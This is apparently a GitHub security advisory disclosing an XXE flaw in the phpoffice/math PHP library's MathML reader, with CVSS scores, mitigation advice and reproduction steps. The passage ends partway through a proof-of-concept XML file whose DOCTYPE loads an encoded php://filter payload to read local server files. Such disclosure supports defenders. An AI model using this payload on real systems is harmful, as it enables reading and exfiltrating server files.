GitHub Security Advisory: GHSA-42hm-pq2f-3r7m
Package: phpoffice/math (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-611: Improper Restriction of XML External Entity Reference
Vulnerable versions: <= 0.2.0
Patched in: 0.3.0

Summary: PHPOffice Math allows XXE when processing an XML file in the MathML format 

Details:
**Product:** Math
**Version:** 0.2.0
**CWE-ID:** CWE-611: Improper Restriction of XML External Entity Reference
**CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
**CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
**Description:** An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files.  
**Impact:** Local server files reading
**Vulnerable component:** The [`loadXML`](https://github.com/PHPOffice/Math/blob/c3ecbf35601e2a322bf2ddba48589d79ac827b92/src/Math/Reader/MathML.php#L38C9-L38C55) function with the unsafe [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, the [`MathML`](https://github.com/PHPOffice/Math/blob/master/src/Math/Reader/MathML.php) class
**Exploitation conditions:** The vulnerability applies only to reading a file in the `MathML` format.
**Mitigation:** If there is no option to refuse using the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, it’s recommended to filter external entities through the implementation of the [`custom external entity loader function`](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php).
**Researcher: Aleksandr Zhurnakov (Positive Technologies)**

## Research
Zero-day vulnerability was discovered in the [Math](https://github.com/PHPOffice/Math) library in the detailed process of the XXE vulnerability research in PHP.
Loading XML data, using the standard [`libxml`](https://www.php.net/manual/en/book.libxml.php) extension and the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag without additional filtration, leads to XXE.

Below are steps to reproduce the vulnerability.

1. Preparation:

- The payload was tested on the PHP versions >= 8.1.
- The [composer](https://getcomposer.org/) manager is used to install the latest version of the Math library.
- PHP has to be configurated with [Zlib](https://www.php.net/manual/ru/book.zlib.php) support.
- The necessary [requirements](https://github.com/PHPOffice/Math?tab=readme-ov-file#requirements) for the Math library must be installed.
- The `netcat` utility is used for demonstration exfiltration.

2. Make `math` directory and then moving into it.
````
mkdir math && cd math
````

3. Install the latest actual version of the library (Figure 1). 
```
composer require phpoffice/math
````
_Figure 1. Installing the library_
<img width="630" alt="fig2" src="https://github.com/user-attachments/assets/bb0c6781-4f5a-411c-970d-9402e652ad87" />

4. Create `poc.xml` file (Listing 1): 

_Listing 1. Creating `poc.xml`_
```
xml     
<?xml version="1.0" encoding="UTF-8"?>     <!DOCTYPE x SYSTEM 
"php://filter/convert.base64-
decode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn
BFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjl